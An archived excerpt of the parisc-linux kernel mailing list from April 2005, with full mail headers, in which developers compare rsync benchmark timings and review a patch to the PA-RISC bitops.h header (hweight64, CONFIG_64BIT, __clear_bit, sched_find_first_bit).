	by free.linux.hp.com (Postfix) with ESMTP id 896947D687
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:47:49 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 07E6D298058
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:49:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02745-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Apr 2005 23:49:56 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B2EA829802F; Sun, 10 Apr 2005 23:49:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20050411051517.GB30629@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yGooYrw4eSE5+76WZHQhaXN2IGRvb0CU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22611

On Sun, Apr 10, 2005 at 11:15:17PM -0600, Grant Grundler wrote:
> Just for comparison, I ran the same workload on ext3 and it worked fine.

Sorry, I meant ext2.


Here is the correct rsync output for ext3 on /dev/sdb3:

root@gggj6k:~# time rsync -aWx --stats / /mnt

Number of files: 394228
Number of files transferred: 349626
Total file size: 12845701275 bytes
Total transferred file size: 12845565669 bytes
Literal data: 12845570528 bytes
Matched data: 0 bytes
File list size: 7360229
Total bytes sent: 12869632989
Total bytes received: 6992540

sent 12869632989 bytes  received 6992540 bytes  8178231.52 bytes/sec
total size is 12845701275  speedup is 1.00

real    26m14.078s
user    5m47.767s
sys     7m11.995s
root@gggj6k:~# 


grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Wed, 13 Apr 2005 00:14:30 -0600
Lines: 87
Approved: news@gmane.org
Message-ID: <20050413061430.GB9519@colo.lackof.org>
References: <20050403143246.GE8921@tausq.org>
	<42134E6200012F70@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623752 13809 80.91.229.3 (22 Nov 2014 02:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Apr 2005 06:12:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 13 Apr 2005 08:12:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB92D7D66B;
	Wed, 13 Apr 2005 00:12:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16907-05; Wed, 13 Apr 2005 00:12:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C6F1F7D66E;
	Wed, 13 Apr 2005 00:12:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 515697D669
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 00:12:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16907-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 00:12:19 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id ACF197D668
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 00:12:19 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id F304F298056;
	Wed, 13 Apr 2005 00:14:30 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10861-01; Wed, 13 Apr 2005 00:14:30 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8F3B229803C; Wed, 13 Apr 2005 00:14:30 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42134E6200012F70@mail-2-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Gt0uYsggeSE5+76WZHQhaXN2IGRvb4DI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22612

On Tue, Apr 05, 2005 at 11:28:26AM +0200, Joel Soete wrote:
...
> -#define hweight32(x) generic_hweight32(x)
> -#define hweight16(x) generic_hweight16(x)
> -#define hweight8(x) generic_hweight8(x)
> +#define hweight64(x)   generic_hweight64(x)
> +#define hweight32(x)   generic_hweight32(x)
> +#define hweight16(x)   generic_hweight16(x)
> +#define hweight8(x)    generic_hweight8(x)

This bit is fine.

>   * Every architecture must define this function. It's the fastest
> @@ -337,10 +330,8 @@
>  #else
>         if (unlikely(b[0]))
>                 return __ffs(b[0]);
> -       if (unlikely(((unsigned int)b[1])))
> +       if (unlikely(b[1]))
>                 return __ffs(b[1]) + 64;
> -       if (b[1] >> 32)
> -               return __ffs(b[1] >> 32) + 96;
>         return __ffs(b[2]) + 128;
>  #endif
...
> The second hunk just because I didn't understand why this form (looks like
> sparc64) and not another (e.g. ppc64).

I think it's just for performance.
Sparc implementation of __ffs isn't very fast and it's quicker
to test the high/low parts of the word seperately because of which
bits are most likely to be set.

I'm pretty sure on parisc it will only cost two more cycles to check
the extra 32-bits. The test for top/bottom seperately would likely
cost us more if we don't predict the branches correctly.

But becuase of how sparc64 does it, I'm wondering if we should
use "likely(b[1])". Any comments?


sched_find_first_bit(), __clear_bit() and find_next_bit() just
all need to agree how bits are numbered in am in-memory bitmap.

Code like this in kernel/sched.c:

skip_bitmap:
        if (!idx)
                idx = sched_find_first_bit(array->bitmap);
        else
                idx = find_next_bit(array->bitmap, MAX_PRIO, idx);

requires we number the bits the same way in both.
And __clear_bit() has to agree as well:

static void dequeue_task(struct task_struct *p, prio_array_t *array)
{
        array->nr_active--;
        list_del(&p->run_list);
        if (list_empty(array->queue + p->prio))
                __clear_bit(p->prio, array->bitmap);
}


parisc __clear_bit also uses unsigned long to access the array:

static __inline__ void __clear_bit(unsigned long nr, volatile unsigned long * address)
{
        unsigned long mask;
        unsigned long *addr = (unsigned long *) address;

        addr += (nr >> SHIFT_PER_LONG);
        mask = 1UL << CHOP_SHIFTCOUNT(nr);
        *addr &= ~mask;
}

ugh...I think I'm just going to use the sparc64 version here.
I'm not comfortable with the "volatile" attribute getting dropped.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Wed, 13 Apr 2005 08:58:41 +0200
Lines: 107
Approved: news@gmane.org
Message-ID: <42075CE80001A18D@mail-6-bnl.tiscali.it>
References: <20050413061430.GB9519@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623752 13816 80.91.229.3 (22 Nov 2014 02:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Apr 2005 06:59:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 13 Apr 2005 08:59:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2280D7D671;
	Wed, 13 Apr 2005 00:58:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17681-10; Wed, 13 Apr 2005 00:58:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28FB37D675;
	Wed, 13 Apr 2005 00:58:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F23797D670
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 00:58:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17681-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 00:58:51 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 1F7017D66E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 00:58:51 -0600 (MDT)
Original-Received: from mail-6-bnl.mail.tiscali.sys ([10.39.115.136]
	helo=mail-6-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DLbpj-0008Kq-6i; Wed, 13 Apr 2005 08:58:46 +0200
Original-Received: from [57.67.177.33] by mail-6-bnl.tiscali.it with HTTP;
	Wed, 13 Apr 2005 08:58:41 +0200
In-Reply-To: <20050413061430.GB9519@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aKYuYuc6eSE5+76WZHQhaXN2IGRvb4DI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22613


> -- Original Message --
> Date: Wed, 13 Apr 2005 00:14:30 -0600
> From: Grant Grundler <grundler@parisc-linux.org>
> To: Joel Soete <soete.joel@tiscali.be>
> Cc: Randolph Chung <randolph@tausq.org>,
> 	parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] some other small bitops.h suggestion?
> 
> 
> On Tue, Apr 05, 2005 at 11:28:26AM +0200, Joel Soete wrote:
> ...
> > -#define hweight32(x) generic_hweight32(x)
> > -#define hweight16(x) generic_hweight16(x)
> > -#define hweight8(x) generic_hweight8(x)
> > +#define hweight64(x)   generic_hweight64(x)
> > +#define hweight32(x)   generic_hweight32(x)
> > +#define hweight16(x)   generic_hweight16(x)
> > +#define hweight8(x)    generic_hweight8(x)
> 
> This bit is fine.
> 
> >   * Every architecture must define this function. It's the fastest
> > @@ -337,10 +330,8 @@
> >  #else
> >         if (unlikely(b[0]))
> >                 return __ffs(b[0]);
> > -       if (unlikely(((unsigned int)b[1])))
> > +       if (unlikely(b[1]))
> >                 return __ffs(b[1]) + 64;
> > -       if (b[1] >> 32)
> > -               return __ffs(b[1] >> 32) + 96;
> >         return __ffs(b[2]) + 128;
> >  #endif
> ...
> > The second hunk just because I didn't understand why this form (looks=

like
> > sparc64) and not another (e.g. ppc64).
> 
> I think it's just for performance.
> Sparc implementation of __ffs isn't very fast and it's quicker
> to test the high/low parts of the word seperately because of which
> bits are most likely to be set.
> 
That's what I thought too but not sure.

> I'm pretty sure on parisc it will only cost two more cycles to check
> the extra 32-bits. The test for top/bottom seperately would likely
> cost us more if we don't predict the branches correctly.
> 
> But becuase of how sparc64 does it, I'm wondering if we should
> use "likely(b[1])". Any comments?
> 
> 
> sched_find_first_bit(), __clear_bit() and find_next_bit() just
> all need to agree how bits are numbered in am in-memory bitmap.
> 
> Code like this in kernel/sched.c:
> 
> skip_bitmap:
>         if (!idx)
>                 idx =3D sched_find_first_bit(array->bitmap);
>         else
>                 idx =3D find_next_bit(array->bitmap, MAX_PRIO, idx);
> 
> requires we number the bits the same way in both.
> And __clear_bit() has to agree as well:
> 
> static void dequeue_task(struct task_struct *p, prio_array_t *array)
> {
>         array->nr_active--;
>         list_del(&p->run_list);
>         if (list_empty(array->queue + p->prio))
>                 __clear_bit(p->prio, array->bitmap);
> }
> 
> 
> parisc __clear_bit also uses unsigned long to access the array:
> 
> static __inline__ void __clear_bit(unsigned long nr, volatile unsigned
long
> * address)
> {
>         unsigned long mask;
>         unsigned long *addr =3D (unsigned long *) address;
> 
>         addr +=3D (nr >> SHIFT_PER_LONG);
>         mask =3D 1UL << CHOP_SHIFTCOUNT(nr);
>         *addr &=3D ~mask;
> }
> 
> ugh...I think I'm just going to use the sparc64 version here.
> I'm not comfortable with the "volatile" attribute getting dropped.
> 
Good for me ;-)

Thanks,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Wed, 13 Apr 2005 11:47:56 -0600
Lines: 173
Approved: news@gmane.org
Message-ID: <20050413174756.GA21641@colo.lackof.org>
References: <20050403143246.GE8921@tausq.org>
	<42134E6200012F70@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623753 13823 80.91.229.3 (22 Nov 2014 02:35:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Apr 2005 17:46:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx064) with SMTP; 13 Apr 2005 19:46:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7D2937D65E;
	Wed, 13 Apr 2005 11:45:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22236-04; Wed, 13 Apr 2005 11:45:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 793517D661;
	Wed, 13 Apr 2005 11:45:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 962897D64E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 11:45:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22036-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 11:45:46 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id F15327D64D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 13 Apr 2005 11:45:45 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 09BCB298059;
	Wed, 13 Apr 2005 11:47:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21517-06; Wed, 13 Apr 2005 11:47:56 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 73796298056; Wed, 13 Apr 2005 11:47:56 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42134E6200012F70@mail-2-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ij8vYrQVeSE5+76WZHQhaXN2IGRvb4AX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22614

On Tue, Apr 05, 2005 at 11:28:26AM +0200, Joel Soete wrote:
> Here is some other change to suggest (even thought it doesn't fix anything
> :-( ):
...

Here is what I'd like to commit for include/parisc/bitops.h.

Summary of changes:
o uses generic_hweight64
o uses CONFIG_64BIT where neccessary
o make our __clear_bit and __set_bit look like ppc64 instead of sparc.
o simplify sched_find_first_bit()

Any comments before I commit this?

(Joel, additional changes can go in another commit please :^)

Beware, touching bitops.h will cause a full recompile.

thanks,
grant


Index: include/asm-parisc/bitops.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/bitops.h,v
retrieving revision 1.18
diff -u -p -r1.18 bitops.h
--- include/asm-parisc/bitops.h	4 Apr 2005 17:54:41 -0000	1.18
+++ include/asm-parisc/bitops.h	13 Apr 2005 17:44:13 -0000
@@ -12,7 +12,7 @@
  * to include/asm-i386/bitops.h or kerneldoc
  */
 
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 #   define SHIFT_PER_LONG 6
 #ifndef BITS_PER_LONG
 #   define BITS_PER_LONG 64
@@ -43,37 +43,29 @@ static __inline__ void set_bit(int nr, v
 	_atomic_spin_unlock_irqrestore(addr, flags);
 }
 
-static __inline__ void __set_bit(int nr, volatile unsigned long * address)
+static __inline__ void __set_bit(unsigned long nr, volatile unsigned long * addr)
 {
-	unsigned long mask;
-	unsigned long *addr = (unsigned long *) address;
+	volatile unsigned long *m = addr + (((unsigned) nr) >> SHIFT_PER_LONG);
 
-	addr += (nr >> SHIFT_PER_LONG);
-	mask = 1UL << CHOP_SHIFTCOUNT(nr);
-	*addr |= mask;
+	*m |= 1UL << CHOP_SHIFTCOUNT(nr);
 }
 
 static __inline__ void clear_bit(int nr, volatile unsigned long * address)
 {
-	unsigned long mask;
-	unsigned long *addr = (unsigned long *) address;
+	unsigned long mask = 1UL << CHOP_SHIFTCOUNT((unsigned int) nr);
+	volatile unsigned long *addr = address + (((unsigned int) nr) >> SHIFT_PER_LONG);
 	unsigned long flags;
 
-	addr += (nr >> SHIFT_PER_LONG);
-	mask = 1UL << CHOP_SHIFTCOUNT(nr);
 	_atomic_spin_lock_irqsave(addr, flags);
 	*addr &= ~mask;
 	_atomic_spin_unlock_irqrestore(addr, flags);
 }
 
-static __inline__ void __clear_bit(unsigned long nr, volatile unsigned long * address)
+static __inline__ void __clear_bit(unsigned long nr, volatile unsigned long * addr)
 {
-	unsigned long mask;
-	unsigned long *addr = (unsigned long *) address;
+	volatile unsigned long *m = addr + (nr >> SHIFT_PER_LONG);
 
-	addr += (nr >> SHIFT_PER_LONG);
-	mask = 1UL << CHOP_SHIFTCOUNT(nr);
-	*addr &= ~mask;
+	*m &= ~(1UL << CHOP_SHIFTCOUNT(nr));
 }
 
 static __inline__ void change_bit(int nr, volatile unsigned long * address)
@@ -89,14 +81,11 @@ static __inline__ void change_bit(int nr
 	_atomic_spin_unlock_irqrestore(addr, flags);
 }
 
-static __inline__ void __change_bit(int nr, volatile unsigned long * address)
+static __inline__ void __change_bit(unsigned long nr, volatile unsigned long * addr)
 {
-	unsigned long mask;
-	unsigned long *addr = (unsigned long *) address;
+	volatile unsigned long *m = addr + (nr >> SHIFT_PER_LONG);
 
-	addr += (nr >> SHIFT_PER_LONG);
-	mask = 1UL << CHOP_SHIFTCOUNT(nr);
-	*addr ^= mask;
+	*m ^= 1UL << CHOP_SHIFTCOUNT(nr);
 }
 
 static __inline__ int test_and_set_bit(int nr, volatile unsigned long * address)
@@ -229,7 +218,7 @@ static __inline__ unsigned long __ffs(un
 	unsigned long ret;
 
 	__asm__(
-#if BITS_PER_LONG > 32
+#ifdef CONFIG_64BIT
 		" ldi       63,%1\n"
 		" extrd,u,*<>  %0,63,32,%%r0\n"
 		" extrd,u,*TR  %0,31,32,%0\n"	/* move top 32-bits down */
@@ -304,14 +293,7 @@ static __inline__ int fls(int x)
  * hweightN: returns the hamming weight (i.e. the number
  * of bits set) of a N-bit word
  */
-#define hweight64(x)						\
-({								\
-	unsigned long __x = (x);				\
-	unsigned int __w;					\
-	__w = generic_hweight32((unsigned int) __x);		\
-	__w += generic_hweight32((unsigned int) (__x>>32));	\
-	__w;							\
-})
+#define hweight64(x) generic_hweight64(x)
 #define hweight32(x) generic_hweight32(x)
 #define hweight16(x) generic_hweight16(x)
 #define hweight8(x) generic_hweight8(x)
@@ -324,7 +306,13 @@ static __inline__ int fls(int x)
  */
 static inline int sched_find_first_bit(const unsigned long *b)
 {
-#ifndef __LP64__
+#ifdef CONFIG_64BIT
+	if (unlikely(b[0]))
+		return __ffs(b[0]);
+	if (unlikely(b[1]))
+		return __ffs(b[1]) + 64;
+	return __ffs(b[2]) + 128;
+#else
 	if (unlikely(b[0]))
 		return __ffs(b[0]);
 	if (unlikely(b[1]))
@@ -334,14 +322,6 @@ static inline int sched_find_first_bit(c
 	if (b[3])
 		return __ffs(b[3]) + 96;
 	return __ffs(b[4]) + 128;
-#else
-	if (unlikely(b[0]))
-		return __ffs(b[0]);
-	if (unlikely(((unsigned int)b[1])))
-		return __ffs(b[1]) + 64;
-	if (b[1] >> 32)
-		return __ffs(b[1] >> 32) + 96;
-	return __ffs(b[2]) + 128;
 #endif
 }
 
@@ -445,7 +425,7 @@ found_middle:
  * test_and_{set,clear}_bit guarantee atomicity without
  * disabling interrupts.
  */
-#ifdef __LP64__
+#ifdef CONFIG_64BIT
 #define ext2_set_bit(nr, addr)		__test_and_set_bit((nr) ^ 0x38, (unsigned long *)addr)
 #define ext2_set_bit_atomic(l,nr,addr)  test_and_set_bit((nr) ^ 0x38, (unsigned long *)addr)
 #define ext2_clear_bit(nr, addr)	__test_and_clear_bit((nr) ^ 0x38, (unsigned long *)addr)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some other small bitops.h suggestion?
Date: Thu, 14 Apr 2005 10:39:08 -0400 (EDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <200504141439.j3EEd9oX018785@hiauly1.hia.nrc.ca>
References: <20050414050727.GA30838@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
